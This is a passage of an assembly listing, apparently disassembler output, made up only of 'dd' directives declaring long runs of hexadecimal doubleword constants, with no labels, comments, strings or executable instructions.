		dd 0A0631336h, 0A18AE918h, 8308ACA6h, 7A39F6Bh,	9C997E3h
		dd 80384628h, 988C88C0h, 9F7217h, 561F13A2h, 0A923C570h
		dd 41B23D00h, 6A08989Eh, 3881607Fh, 62CA5373h, 66E840C0h
		dd 10969Bh, 0C5878B4Eh,	958563Bh, 830343E2h, 7C996E17h
		dd 0E2E13AF3h, 78975B18h, 1407A586h, 0F9888562h, 9A44C8h
		dd 199CAE43h, 53842148h, 9F76EA40h, 7CF47EA7h, 87288E8Ah
		dd 18D1CCF5h, 236C93Ch,	214BB8A0h, 33D2B744h, 0D02217B8h
		dd 0C0869001h, 6F8552Ah, 9E4E26AAh, 32B583D8h, 1904FB3Ah
		dd 0C895BB8Bh, 883B083h, 7956A240h, 484CD02Ch, 35098469h
		dd 489B91E9h, 0B44BF31Ch, 220787B8h, 58F5C60Ah,	105CA342h
		dd 0CFB2A162h, 0EB5AE42Eh, 0F0CBFD41h, 0DE029BDh, 70075961h
		dd 97215890h, 0FC606858h, 0B4A48841h, 0C9357CA0h, 25176225h
		dd 68199854h, 0A0088358h, 0C2181CBAh, 0F5D18CB8h, 1FEB34FDh
		dd 0BC940259h, 431C044Eh, 0D6CF88B6h, 0E84A743h, 1D216AD0h
		dd 462A12C4h, 21AA100Ch, 90A18E13h, 0C244F3FCh,	0CB90E8B9h
		dd 441088B7h, 42A83A85h, 2BF87FA0h, 1C268850h, 328B7CB4h
		dd 3024E494h, 7328D985h, 715CD368h, 5CAC12C4h, 0CBE02891h
		dd 0C0888B0Ch, 255220D0h, 82C2283Eh, 0BB87A8BEh, 0AACAF9Fh
		dd 0F9802442h, 0BF023083h, 981555B8h, 60E39CE0h, 0F6B98859h
		dd 60F789F9h, 0B0AB7B44h, 4081D3C2h, 7C5768B6h,	7804536Ch
		dd 924244A6h, 0DCA5A722h, 0F0535F3Bh, 5047B404h, 67294242h
		dd 848BCAAh, 5A8DC8B7h,	18909177h, 647FC8A7h, 196F32AFh
		dd 1C08159Fh, 9843C465h, 0CD204848h, 7F5CA1CFh,	0F7B99983h
		dd 40B668C9h, 0BA198746h, 3DF5F826h, 3712DE38h,	890918B3h
		dd 101BF7h, 0D80147C1h,	3D8F9186h, 0DDC8CCE3h, 6FD93C24h
		dd 0C2309987h, 81A6C490h, 3001DB0Ch, 2A5F4274h,	455E9442h
		dd 37A4C4B9h, 8219BA06h, 5420411Eh, 7638C9CBh, 1B2B033Eh
		dd 61C29752h, 50333090h, 0BA9BB40Eh, 7FD6A041h,	3EE64AFFh
		dd 93004449h, 0AA3E938h, 2903B7FBh, 5B7CDC3Eh, 0D09CB80Bh
		dd 0E340C42Eh, 9698EC85h, 4C7BF0h, 0A7E4589Fh, 0F672AA0Eh
		dd 6C00D8B8h, 23C3684Ah, 8C97F7h, 665CEA26h, 0B49C0CE6h
		dd 0D0F07451h, 69772168h, 0ED0DB300h, 52FA262Bh, 0C3A44FD7h
		dd 0F106BA34h, 551FF930h, 1A1600E9h, 0EAEB506Fh, 0FC00B1D2h
		dd 687029B5h, 0D4C00DFDh, 2522C0A1h, 0C6B68907h, 2C306E6Bh
		dd 0A71B584h, 9A0EEFE0h, 73185C04h, 0CF1014EBh,	43E0695h
		dd 2199B674h, 4D5B3700h, 0D554A4C4h, 0E5D73E2Fh, 6AE3B700h
		dd 0BB79C93Fh, 4816B133h
		dd 0E3DCC3A8h, 0D92820D2h, 99F2D343h, 0BB7A5098h, 0D1B7941Bh
		dd 8CAF8021h, 0E4B503F6h, 7099A872h, 0D6EA1818h, 0C0D93839h
		dd 99C87241h, 91F8F010h, 3990AF37h, 38EB8883h, 98008C51h
		dd 0AF48B819h, 21037A2Eh, 180D2820h, 0B8809B74h, 0C27B92F1h
		dd 0FCD14A91h, 950098AFh, 0DF7876FFh, 0DA627E07h, 5633B11Ch
		dd 3FE000B8h, 40C831E5h, 2119A612h, 5E19D94Bh, 73F5D0h
		dd 4D94DD16h, 1FE4B31Ah, 9C83191Fh, 6131C000h, 48AAB2h
		dd 8DF21E59h, 0DDE66AC2h, 9708C360h, 0F69AB5C9h, 1CD51C05h
		dd 17534ADAh, 122E54Ch,	0D66D3280h, 10E048F2h, 0D04801F1h
		dd 61C14886h, 491CF033h, 2A6292EFh, 0ACDE11h, 0A47B5559h
		dd 7288D54Bh, 1890D65Ch, 0DC4871FFh, 6B571A22h,	0E0102082h
		dd 43A4695h, 0E1F20CE8h, 749318DFh, 218A675Ah, 0B7DA8172h
		dd 0C571827Fh, 8F169D64h, 480F0C88h, 0DCE53917h, 0EACD7306h
		dd 0C138717Eh, 0DD9A026Fh, 99FF53h, 7CB52385h, 0DB293801h
		dd 0EEB0F02h, 0D89A8043h, 97D66Ch, 0B2CD8221h, 0C8150A16h
		dd 110F9CA1h, 0A1DF7F5Ch, 1024DF93h, 104E6480h,	80624BB7h
		dd 0D2B69566h, 814C0F6Ch, 82ECB031h, 603A20C1h,	5F8D127Fh
		dd 0EC1F7421h, 4A5DBC50h, 0CEE43FD2h, 1EB04938h, 48A97A79h
		dd 2DDA100h, 43ECFC21h,	0D66A0135h, 15294EC8h, 0B62C20CBh
		dd 0F2D99588h, 0D8E5011Ah, 156FFCC1h, 837EC426h, 0C0E1732Ah
		dd 0D9040B00h, 0C0DF94F7h, 0E4EB0677h, 21F1648Ch, 1A1C2949h
		dd 2F59B156h, 0DD690688h, 0D82F0210h, 22666BC3h, 0AB929C40h
		dd 0AF24D4A6h, 0F21AA8F1h, 0C60B051h, 2180ED5Fh, 2C1936Eh
		dd 7281384h, 6A090CA7h,	20FEEB06h, 6B555730h, 5A9580AEh
		dd 21D72813h, 975CDF00h, 2B7918FFh, 1D147EE2h, 0CD93CA2Ch
		dd 4A5F0830h, 0DDE7834Fh, 62EBE1A2h, 6CCEA980h,	245979E2h
		dd 0E601161Fh, 0CA28868Eh, 603F9217h, 0FED5E091h, 0C34B4883h
		dd 1375901Fh, 62542194h, 0B6831C6h, 0D630C228h,	33001DF6h
		dd 0B0FD04CBh, 9659CB56h, 40882585h, 8F2C2EC0h,	7C990619h
		dd 257E403h, 0CF98E889h, 2AD924D8h, 30B3441Ch, 0A601AC6h
		dd 0EE81E2Fh, 0FC1B0898h, 0A32B854Fh, 0C53A44Ah, 44044388h
		dd 0D9EB310Bh, 0A5E1B043h, 4A12308Ah, 2ECC4045h, 5AF2DD47h
		dd 1C6AA501h, 6D05D88Dh, 2C014094h, 3141FB10h, 0F258F06Ch
		dd 1CE09025h, 2C590164h, 0EE570ACAh, 542887F5h,	409DC38Bh
		dd 0C7190424h, 475F2E81h, 0B93BD640h, 96736312h, 97B8C840h
		dd 26B16C68h, 1EAC89D0h, 0AECE4044h, 55933012h,	78A1162Ch
		dd 0DC0F9502h, 1B3C408Ch, 641E01AEh, 1142493h, 2C4447AFh
		dd 0BC98D151h, 2131D760h, 508FA36Fh, 0EA0B90F9h, 0B2E8280Dh
		dd 601FF89Ch, 64DD9815h, 789821F5h, 0BB93950Ch,	0C0491805h
		dd 6C2A56A6h, 0FB15833Fh, 1894A2E3h, 4030062Ch,	350A78DEh
		dd 358F219h, 83F898B4h,	0F120707Ch, 0E4C09FFh, 0CCA26DEBh
		dd 98804273h, 0ADC6C7E0h, 32B7E8C0h, 18C93ED0h,	0C08D3661h
		dd 5E031773h, 46CA6ADEh, 962921ABh, 90913108h, 0A9EC84E3h
		dd 3480AA48h, 2A25DBF9h, 0C4E600A2h, 0BCAECDF0h, 9C38F218h
		dd 3D9187CEh, 0D220590Ch, 8185A7h, 8C7CFA2Ah, 68A85C01h
		dd 0B5315D00h, 12AA0D4Eh, 6C1A1F84h, 86A4C064h,	705675DFh
		dd 0BD8A6E00h, 0C8BC2C92h, 79FF0113h, 37393DCEh, 48198042h
		dd 0C1DD61D3h, 32E10044h, 7A05D5ACh, 4A004FCEh,	843A105Fh
		dd 18F9794Dh, 3A5D723Eh, 0CE000EADh, 4B61E36Fh,	4E7CEFh
		dd 0CBF6E8B5h, 21393EA9h, 0AFEC7003h, 0D0C3FB7Eh, 76D9F7h
		dd 3AE2B8BEh, 552F8C0Ah, 0BA0DB200h, 0DD449B88h, 80D24B8Ah
		dd 0E41EA66h, 125D4800h, 6E42D9E7h, 14E50343h, 6D7E7D32h
		dd 89E84083h, 0AF00C5ACh, 56C4C0ABh, 1F3623FDh,	479384CAh
		dd 707E0E68h, 38FCE643h, 0EED3240Ch, 47FE64h, 280FC73Bh
		dd 6AE5B52Ch, 0EDA29A07h, 82D01541h, 0B9BAF3h, 24C61FF9h
		dd 0BFAAC46Fh, 0A3B37901h, 12E93BDDh, 0FE1820h,	606F9353h
		dd 713DCC2Eh, 25E43800h, 27D79E4Bh, 0F57C0085h,	42140B15h
		dd 2B75DE31h, 0B882A200h, 0E486C5FCh, 506000D0h, 9F6E28DBh
		dd 467F3280h, 820BE700h, 0CEEE1CD9h, 5D930E0Fh,	0EF85F23Ch
		dd 0D1CC0965h, 476C6981h, 3A6C47Bh, 0EAF5CD1Eh,	416D39C3h
		dd 0E18EF8E5h, 0D7780045h, 2BAB6A81h, 8B01D4FEh, 0CB4C15F2h
		dd 48349A36h, 2D460747h, 0E09C6BF4h, 9B1145F5h,	0A04C8700h
		dd 0AB7D651Ah, 0F0CC00E9h, 3A0D929Fh, 3700FAEAh, 9979D907h
		dd 0AAC5Ch, 17E1A206h, 0A6B1C166h, 6E7B4500h, 0D028EDCCh
		dd 0D1AC0C61h, 6A4094B3h, 102C74F8h, 340B2A32h,	87D90389h
		dd 6097D201h, 0E2EC20DBh, 0C7A10165h, 0B7688424h, 18FAC899h
		dd 5CF06C00h, 0A6B2D8Ch, 453A000Eh, 0F4D7528h, 1022CB5h
		dd 0A4DF988Eh, 54740CDh, 0A5EE265Dh, 0F316C0h, 0E1304BF0h
		dd 3700F661h, 17318A50h, 0FE247F8h, 74EF7A55h, 2DDC00F3h
		dd 1AD93D1h, 6C9EBA00h,	4A565E9h, 538B00B1h, 0F5A9C6F6h
		dd 74001114h, 59AD4FFCh, 0C46212h, 0B0446945h, 0DE99A721h
		dd 0D2572602h, 43091DCAh, 9E5BD0D8h, 8C2D003Fh,	0D68AE64Eh
		dd 5900F396h, 21D3A640h, 5183083h, 0DFB599EFh, 6E9C0052h
		dd 0D6E6D42Dh, 0FF4C6002h, 8F9A8F4Fh, 0B7DA80B4h, 73DFBC26h
		dd 4B021CB2h, 9A2CCE85h, 1BE792C1h, 0E9E8DF0Ah,	0A300BAF1h
		dd 0CE22C95Eh, 3C1878h,	0BEE6115Ch, 94593212h, 44C09702h
		dd 80E95FC9h, 264AE3C1h, 697425D6h, 0D37EF800h,	0DD00EF13h
		dd 0F2BC4CAEh, 12A464B8h, 1571ECAh, 9474FC4Ah, 0AEC2C889h
		dd 93AB600Fh, 7C388022h, 90640544h, 5BCD077Eh, 420EEA8h
		dd 67808035h, 1704028Ch, 43608D09h, 28E358D0h, 147B0029h
		dd 0BFECA506h, 4C006DA3h, 488C49E2h, 1860ADD9h,	3093E904h
		dd 0BE00949Fh, 806AA446h, 4A67229Ah, 37E00389h,	5901A63Fh
		dd 851FCD7Dh, 0C1D8FB2Ah, 0B9E50401h, 0D038B8F6h, 2F448A88h
		dd 0AD6D7B00h, 107130E7h, 488E002Dh, 0D9D5FB0Ah, 0D4007F15h
		dd 4BECD141h, 3DA3300Eh, 78E3E042h, 0B43365h, 4023FC3Dh
		dd 0F4480360h, 2FD41A9Eh, 9C02B1F8h, 0ED7DAA00h, 3BEB85C1h
		dd 5B6700F0h, 0E6B2773h, 58B0F31Ah, 4BE9F201h, 1C76D10Fh
		dd 7BA7E8h, 57E0AF4h, 0CF95DD06h, 0BFBAE416h, 0C4D2D200h
		dd 3803531h, 0A25EFCECh, 0D1004910h, 909CD042h,	3AF6353h
		dd 3ADDD3C3h, 99D02310h, 24B0570Eh, 5A2AA40Ah, 0D5028406h
		dd 0C2CD28FAh, 20A262C4h, 8A6A6DB4h, 89AE072Fh,	304D0B5Eh
		dd 22413CFDh, 90E66300h, 744E0709h, 82723Ah, 270D9F87h
		dd 511A42FBh, 399C8D00h, 96FEB2C8h, 677818h, 71F81EABh
		dd 4CE1BFCDh, 0FDBC9A00h, 0EF5E584Bh, 77090310h, 13B197CEh
		dd 0FF3F45F8h, 3E00DD7Bh, 0A2EAF981h, 7FB10D8h,	9626E34Eh
		dd 801AC067h, 0B700FA9Dh, 14AAD342h, 47F44F9h, 0C85B02A7h
		dd 0DAA4800Ch, 58245EC0h, 0FB0FB879h, 7DAB406Ah, 72F0F4A7h
		dd 15B4303Ch, 1A7833F8h, 2D004D7Eh, 3147866Ch, 1217FAC9h
		dd 0FDCE43h, 2FB410A0h,	0B5008304h, 407B2235h, 0E916F2Dh
		dd 5449DFB6h, 0AA09ACC2h, 70444F40h, 74144700h,	4F8F2C45h
		dd 538900E5h, 507583ADh, 97013C08h, 3DF7A6E4h, 0BEDCFEAFh
		dd 9E843C4Dh, 26879580h, 632FE218h, 9DDCF928h, 0B0FBE807h
		dd 777728E6h, 0CB4E61B0h
		dd 489224h, 5D06417Dh, 5CCD6A51h, 0D714780Fh, 0C4FA6074h
		dd 0B8981726h, 9807754h, 0E91DDF89h, 0D4343080h, 610014BAh
		dd 8DA9B5B0h, 1362C579h, 206CC52h, 0E8E6970h, 0CB6E30h
		dd 3D24DC53h, 0F7E5BB7Ah, 0FEDE7E05h, 5881B699h, 377010E4h
		dd 0CC0D0E40h, 803D4EFCh, 66EB9348h, 0E803080Ah, 334FC3C6h
		dd 0F0AED824h, 4A500763h, 80DC774Bh, 6C8DCE3Bh,	855A8000h
		dd 95187E3h, 2C6F0B98h,	7C042A12h, 2534E458h, 9874DF2Eh
		dd 7C972D80h, 9CE24253h, 0D5B38B08h, 5D77B820h,	3C9866CFh
		dd 270243F4h, 0CC0A4AC6h, 0F050DFh, 9E5398F7h, 236515FAh
		dd 38385A2Ch, 1D3E2640h, 0C30C0079h, 0B933B27Dh, 9200D2D7h
		dd 0EDF04251h, 0AA4B5h,	703A75Ah, 19D44884h, 0E5D88F18h
		dd 244C6161h, 140F0512h, 330A8AEAh, 9010D98Fh, 20C204Bh
		dd 5D73E40Ah, 0A3414102h, 3F85085h, 0E1C0D639h,	0CCA5AA58h
		dd 5B08C56Ah, 0EF6CD04Eh, 41F7E97h, 6807AC8h, 3EC2E5B6h
		dd 1A4D01D3h, 0DCE72F39h, 3166F8F7h, 0B45B81Bh,	3AF2C338h
		dd 3850D648h, 0FACB1831h, 0EB8F5916h, 9E27D03Eh, 28BCDBA3h
		dd 933008C3h, 743558F1h, 241800E5h, 48695D4h, 0E3149723h
		dd 50B160h, 58E5C38Dh, 0ECCA61Ah, 673F4C4Ah, 0B4F50D40h
		dd 420031D5h, 47BDF859h, 799BF964h, 0E8FA0035h,	0DD55492h
		dd 0A11856BFh, 7AA932B7h, 0C0266059h, 10A25E1h,	0F673EC1Ch
		dd 0D4715202h, 6408E8D1h, 8301259h, 0DB7B4F8Dh,	7492F083h
		dd 0E6914901h, 0F0D19EBh, 3EDC93F2h, 95009E48h,	0CF8D1440h
		dd 690068A0h, 0D30CA54Ah, 74E081D4h, 13A17754h,	81CD93F0h
		dd 8038EA84h, 80A7DC08h, 16E08ACBh, 0CF99EE4Ch,	0C304D06Ch
		dd 12D72AEBh, 0D1E37310h, 11961180h, 571198B2h,	0B49713E6h
		dd 4493F244h, 7E44D316h, 29634DE8h, 3B245B20h, 1C9F8DDFh
		dd 40A8D3ECh, 96670E1Ch, 8471ACB4h, 0B2A49900h,	0C3FB707Eh
		dd 81100B3h, 341554ADh,	20016B80h, 90BEB8EBh, 107048F0h
		dd 0B95C0077h, 0CFE1C397h, 6C002899h, 54F3819Eh, 3A74F9Ch
		dd 0C4B9B5D6h, 46001FD1h, 1A315051h, 0CAD7C9h, 0AC8628D4h
		dd 0E26BFD9h, 0DF45BA09h, 800C0F9Ah, 6B37E0E2h,	96B81E81h
		dd 0CA50C27Bh, 0A0A1DF63h, 34CEB359h, 6601330Ch, 0D6BBC356h
		dd 0E7C89468h, 0E89500A5h, 4381CA6Fh, 4F2A5811h, 3998BC73h
		dd 8003CB1h, 4DEACFC7h,	86AB1706h, 0EEC50097h, 0AEFB242Fh
		dd 0B90C1500h, 4581F9A1h, 34931230h, 73CCC06Ah,	0FE1E5CA4h
		dd 0BA01627Bh, 357838F1h, 0E6110BFFh, 710056AAh, 638C84FFh
		dd 7578C100h, 0A3383924h, 0D13C1C2Ch, 9F7D8085h, 3E7E4D26h
		dd 3D6EBE12h, 0F7FA0901h, 28809C8Ah, 9CBCA10h, 8100882Bh
		dd 0EE7069D6h, 58F29F5Ch, 0A50059E8h, 5D0A6533h, 6400329Bh
		dd 0C689A95h, 8AE749h, 76286D50h, 0E52EC4BFh, 0B5750892h
		dd 4A0C117Dh, 21098EEFh, 0FEC20695h, 10795A58h,	0C10E6000h
		dd 9EB5FF41h, 0DC5C011Fh, 4C5F319Ah, 3815D8E9h,	12D5BE09h
		dd 0AF7020E6h, 3D06CBD9h, 8D038546h, 0AC6ACF93h, 301718F9h
		dd 6B00ABFAh, 95245E05h, 50AA54D2h, 0FA30BC91h,	8390189h
		dd 0F70ECEA0h, 8CA8CBC1h, 0AD00DA4Ch, 1AEA860Ah, 8720B4h
		dd 0A4071376h, 53A6497Fh, 0C12733Fh, 88D44EB7h,	1CCD989Eh
		dd 0F217D03h, 0D8C093D7h, 0BA716BAEh, 5B41C001h, 0E2CA9F88h
		dd 1C131A20h, 994510Eh,	2007A59h, 43689635h, 0F974A002h
		dd 0E05E0F7Dh, 12C987D4h, 8060A30Eh, 8F534CC4h,	48150113h
		dd 0D3D0DC91h, 496C6C64h, 231738A0h, 0B7E4452Dh, 0DB6C89E1h
		dd 0FAAE2800h, 26E4AC1h, 377217h, 0BE9EB22Eh, 0B72F3009h
		dd 94CB2B00h, 775652A8h, 0ED230036h, 0CCE94048h, 0C0E915Dh
		dd 2F905B2Eh, 7E57A3F5h, 4097C2FBh, 29D67Ch, 0C103F289h
		dd 0E2AA27B1h, 12D09900h, 3016C3D1h, 0E87076h, 6042F4D2h
		dd 317A28Dh, 0F6832C00h, 125780B0h, 315D014Ch, 0AAFC5AF8h
		dd 2BFC20CBh, 53E4E30Fh, 9A2F409Ch, 7FEB4BB6h, 54B31D92h
		dd 5D0CC044h, 77343F7Eh, 0C1FDA403h, 0B4D2AAh, 0D4FE6921h
		dd 9D5D64CCh, 2300F47Dh, 1892065Ch, 1E108BBh, 59FA31A7h
		dd 0D0843986h, 780379F6h, 54C545B0h, 5B2CB871h,	0A5BC0001h
		dd 89DAC3DBh, 58005161h, 9628E9F5h, 2709E8h, 8F06A96Dh
		dd 7394FD50h, 0F725860Fh, 4C85E734h, 0B3DFDEB0h, 3B887F35h
		dd 0DC1D49AAh, 28B366C7h, 0C90B0048h, 0AF8732B6h, 9F1F41A7h
		dd 7379EA6Dh, 22F3E500h, 0F53024C8h, 18EB60B5h,	3B077D52h
		dd 0CDFCBB00h, 3D7372AEh, 8E4D1F1Ch, 1FED1D50h,	408C40FDh
		dd 0E59085DDh, 1C7F011Eh, 0A4AF8987h, 455E809Fh, 2DA7D1h
		dd 5C470B3h, 0E91A3ABDh, 881F4F1Fh, 724098E4h, 769B3375h
		dd 90070079h, 3518C970h, 1D1881B7h, 2FB6C0F7h, 1218C071h
		dd 0A16527Ah, 0C8CFE900h, 0DD94A258h, 38EC0EF1h, 0F8C023C1h
		dd 1BE5F047h, 6D755000h, 0A4E9AC4h, 6BD00A1h, 7294F7Fh
		dd 2100362Eh, 0C125A95Dh, 0C031AB1Bh, 0A5CD1710h, 0F105AF3Dh
		dd 1A83FA35h, 0E6568090h, 90114875h, 90491E25h,	8BF870CDh
		dd 23288082h, 24A4CF0Fh, 809C5B2Dh, 9637F1DCh, 5D027803h
		dd 43A66924h, 0CADC6850h, 29942905h, 0DE3F8094h, 54EC8F7Eh
		dd 5D966100h, 0D98AE451h, 0ED5A001Dh, 337F9443h, 0F33069AAh
		dd 0A7D28965h, 14B30797h, 0CB607102h, 0C232FC48h, 40573B01h
		dd 0F0BF19F8h, 0C9E5E8h, 0EF06307Fh, 9328597Ch,	0CF2D8800h
		dd 0DBBCAF79h, 4CA42C54h, 0F803009Ch, 9A428B97h, 96B67500h
		dd 381EFDC8h, 88B248F4h, 0F536A907h, 70DFC7D8h,	51F25BFAh
		dd 0DB3A6800h, 7237D556h, 70B0005Eh, 3630E198h,	6B053F86h
		dd 73F2111Ch, 0A056840Fh, 8548EAA2h, 0EC3798C3h, 6B581C03h
		dd 0B4BC8092h, 4C9E308Bh, 12F9723Ah, 0B0A48612h, 1C6EECE5h
		dd 0C0B3D9F5h, 0FF1CA114h, 421F884Ch, 0E0C05E2Bh, 7DE85CCEh
		dd 0D69700A4h, 0D2A982Eh, 8C16B2FCh, 7C80D839h,	9A1EC1h
		dd 6C311483h, 0D6B6B164h, 7DE41A5Dh, 0A7EB3901h, 488E273Eh
		dd 1703230h, 0CAE050A8h, 0E8CDF293h, 1B0E8FF1h,	5ECE0Ch
		dd 0E9052FEFh, 0B9102E35h, 4E770050h, 2763DB2Eh, 0A86AD20Eh
		dd 0F60F4049h, 8EDF4Fh,	22703BA5h, 0AACA3413h, 4900D4F6h
		dd 7DB5248Dh, 0C40FE9h,	85B054C9h, 3DF2E665h, 210CB812h
		dd 0A5FAA880h, 31AEE8D0h, 0F7B9E47Eh, 10E029D3h, 1A3AA612h
		dd 467B801h, 896CE4B6h,	48965B38h, 60013698h, 40B40EAh
		dd 86748D74h, 2E7D407h,	38CAD63Ch, 1603B2A4h, 117435DDh
		dd 61D42420h, 0AF6ACB59h, 0C411BF1h, 0F829CF72h, 73DC0509h
		dd 16B14A81h, 0B582DCCBh, 7B093800h, 0A824EC8Ah, 1CF87A3Fh
		dd 9D3D4E4h, 0D45A4818h, 5EBE4207h, 1CB36237h, 683CE0CCh
		dd 0ADC83F71h, 0B9D260E0h, 990DAB78h, 399AF0E0h, 4BDD31F0h
		dd 0B444886Fh, 19E86A0Ah, 0C2409C04h, 3425AF7h,	0BD8FB5C3h
		dd 0D3A04131h, 0A7067DA1h, 856DD51h, 1CDAF841h,	408ABC3Ah
		dd 0D805B15Bh, 2870E827h, 0CF716600h, 5C6AA546h, 2E3A0119h
		dd 0F0738C97h, 0C2C4000Eh, 9EEC00C6h, 0CFC55424h, 0E200B448h
		dd 3A1A5822h, 678FA8h, 0C78CB5BCh, 0E7C87298h, 2CD603Fh
		dd 93F096D6h, 0BBC85CF7h, 0A020974Bh, 0D09C13B1h, 4EBEF00h
		dd 5C220687h, 0D7010063h, 8DD1099h, 0B87D733Ah,	0A8B1F300h
		dd 0E252E3B7h, 58D800C1h
		dd 34D2544Bh, 0A307A5E0h, 38B0641h, 0B05247A3h,	37ABDC37h
		dd 7030931Bh, 0A8C9F018h, 158CD401h, 0C20686FFh, 0EE044Bh
		dd 901DFC71h, 7CE1B22Ch, 0D2CE09C1h, 6E00138Ch,	1A1C2ABh
		dd 62E96300h, 972CD81Ah, 0FFC606C5h, 2986B1CDh,	311D742h
		dd 0CCA31145h, 21807E11h, 465C08B3h, 2B844F90h,	4EDF4882h
		dd 3B212894h, 907F1708h, 6C8784DBh, 7B42C748h, 0C5072298h
		dd 24705122h, 578F2193h, 14822312h, 7F245565h, 1253A521h
		dd 58B9100Fh, 56082B89h, 844B5444h, 42B82E22h, 560811B7h
		dd 0C8087721h, 0C8C390B9h, 539168h, 0A5E993F2h,	0A4B142h
		dd 9C48B624h, 281EECBCh, 3CD6AE00h, 330D0C8Ch, 7DC700E0h
		dd 199AE54Ah, 7C003123h, 519C44EDh, 0FC29BBCEh,	731000DBh
		dd 818A7924h, 71001413h, 0C0F8A291h, 1FF9931Ch,	8FB24689h
		dd 3EA0243Ch, 2EF1D756h, 64A58A00h, 0F48CE943h,	742903AEh
		dd 0B77E4CE4h, 0FB9AB1D8h, 1F55E800h, 7AD2FFEBh, 487C0306h
		dd 5E8F6A96h, 1DDD110Fh, 45CB204Dh, 1246DE91h, 406B308Ah
		dd 0B37E3354h, 0A63B6D03h, 3481008Fh, 0D70F8CF6h, 107C600Bh
		dd 16CEC88h, 0B9696F01h, 0FE2FA29Dh, 23CD4884h,	975200CBh
		dd 0C612BEh, 0F4AA24DEh, 0D90AA730h, 0C0EFE60Fh, 7796A04Dh
		dd 0FA6F3E33h, 117C00B7h, 6167D5DAh, 3C006535h,	0FF90E550h
		dd 0FC2395h, 0D147F642h, 75895FB3h, 83DD0A18h, 3900F40h
		dd 0E9BEA857h, 97F0FC1Bh, 7100C107h, 0E6D680D1h, 0B8CA82B6h
		dd 32A10DD7h, 0D8C8FAA7h, 5E0020F7h, 0F37C6567h, 72407CEh
		dd 0E69F1B9Ah, 0B2B5D0A4h, 1D0492EEh, 0AD2CCB2Dh, 0CD1B92C0h
		dd 26C70034h, 5556B92Fh, 0DA00B488h, 3F1DC240h,	13E04A68h
		dd 0B35E0Fh, 0B76DFFA4h, 8F0084ABh, 0E4F77592h,	1814DD2Ch
		dd 54EB822Dh, 0A400CD50h, 9E65D069h, 842F88h, 0FD8C09F5h
		dd 29F86094h, 1FD7B00Eh, 3493A03Ah, 72CBDD5Bh, 6C720BB3h
		dd 0FC5676C6h, 0F7066A00h, 0CC25243h, 33E2829h,	0E50FD6DEh
		dd 0AC7ECE82h, 5D065Eh,	5797F1F6h, 0B5AB10C9h, 95E024h
		dd 1159EA40h, 4E6613D7h, 163C0039h, 0F447C04h, 4257020Ch
		dd 901019h, 0AA30B437h,	928D21F7h, 5EA8C400h, 56052E59h
		dd 28256145h, 0D44F2960h, 0EB0119E3h, 0FF30284Ah, 1820CAABh
		dd 0C9272CDh, 0FD2B9C4Fh, 0D6726638h, 21933Ah, 0AF4DD7CFh
		dd 0FABA4F0h, 0FC6EB7CBh, 42727320h, 1132C77Dh,	408311D1h
		dd 432ABEh, 0B66BA3B0h,	0D7C8B409h, 51CEF700h, 0F0ACEFDFh
		dd 9E411F63h, 4328053h,	0F7FF116Ch, 0B001547Dh,	0A47B20D9h
		dd 40D67028h, 184D7B0h,	254858A7h, 0C0B3C857h, 61006C59h
		dd 56C7B541h, 9017F1B1h, 34E600DBh, 0D07754C3h,	0A47C8BCAh
		dd 7D45681Ch, 0A5D79840h, 945BDFh, 7E31C8BAh, 0E5EBE9E3h
		dd 60EEB105h, 18819A56h, 0EFD39665h, 58FDF580h,	0F8870F09h
		dd 0D6A021F0h, 0A87B43F2h, 0EF414000h, 8E7A0B04h, 0C4DE00C9h
		dd 0B8B05467h, 95009043h, 6C8FE8Ah, 986D4F17h, 0A6B60E3Ch
		dd 0E200939Ah, 7FB81C7Bh, 21F11A00h, 0A28DC034h, 0F85F0067h
		dd 0B1AD6B3Fh, 0D177CFFDh, 0EAA38807h, 5EF0091Dh, 749E4Dh
		dd 4E91AE72h, 42DB5964h, 0C0FCF748h, 0C84F981Fh, 0C14E3944h
		dd 839FAC80h, 0EB24D0E2h, 0EC3C2901h, 909412BAh, 7D20C821h
		dd 0DE30057Fh, 22A535h,	1FF10FBCh, 99379460h, 801B2959h
		dd 37FA055Ah, 0EE8F00D9h, 9A68982Ah, 7516B0D0h,	0D00F12Dh
		dd 1ED30594h, 0BAA6005Dh, 0FE21AFA3h, 2339A52Ah, 75520076h
		dd 0E94E0C4h, 879803D4h, 0BAF25A72h, 0D3F75890h, 0D2464400h
		dd 74A67B6Bh, 39AB0EEh,	367AD819h, 5490DE8Ch, 70004ECh
		dd 857DA41Ch, 2B9F8D6h,	0F10E36EFh, 80A07A1Eh, 0CEE96016h
		dd 7832DC00h, 0B66F479Eh, 0CFD11D4Ah, 8FC2808Ch, 2D3AD358h
		dd 41109F00h, 231BA499h, 0FF8A2E17h, 93AD0720h,	1056007Fh
		dd 41020ED0h, 6916A846h, 4C3AC0C0h, 0E018001Ah,	0CE0760A6h
		dd 2EB06B65h, 9AC6771Ch, 367F9BC0h, 9CF45Ch, 2E538E14h
		dd 85A6EBC9h, 88601916h, 394B3C40h, 24439E18h, 7080EDh
		dd 995DE356h, 72004C02h, 927116EFh, 0F91C7Ch, 0B81A103h
		dd 2AC0B6F3h, 38C10F00h, 7C775B18h, 0F2200E49h,	0BF20C389h
		dd 0E876344Ch, 7F0CB400h, 907A6D12h, 78E10005h,	1A16FD73h
		dd 0C31C36DFh, 184F5FC4h, 8983A0BCh, 2472E28Dh,	0A8C676h
		dd 0BD67312Ch, 10085C5h, 0B45C9593h, 98DFDC2Bh,	7F0502B8h
		dd 5A480DE4h, 3439AC60h, 61971500h, 0BCEFB4Ah, 0A7860018h
		dd 0A62708E4h, 0CD0017EFh, 0E614347Ah, 0E0061Ch, 77F39D0h
		dd 0FC4A7141h, 0B8994Ch, 6D2D845Bh, 392325C1h, 0D300B21Dh
		dd 5577C862h, 0A27BBEDBh, 403F0D00h, 72F5E8B5h,	7EF63EB1h
		dd 0D9F7ED00h, 3AC5710Ah, 66325805h, 76811457h,	55EC84DFh
		dd 9BB8A0A3h, 1B74EAh, 19E6BE42h, 0F54A9606h, 0E7C32600h
		dd 8EFF60D3h, 57330188h, 99F843CEh, 31E2406Dh, 0AEE00D82h
		dd 54AD4B39h, 6E5818B8h, 0C93F07C3h, 0B1702831h, 987F6493h
		dd 671A3982h, 4D869C80h, 0A809C055h, 3ACEB107h,	5F50D428h
		dd 2C7DC21h, 0EFA16261h, 0B4AF8738h, 78084B20h,	5100A663h
		dd 79F088ABh, 0D6D083h,	0B4BA3D46h, 8C1053A8h, 0E3721A1Ch
		dd 79098740h, 123A170h,	44D9CBDh, 0CC7593B5h, 9840B826h
		dd 0E991001Fh, 0BF7DC169h, 0E17B1A32h, 0F862A13h, 4F090C01h
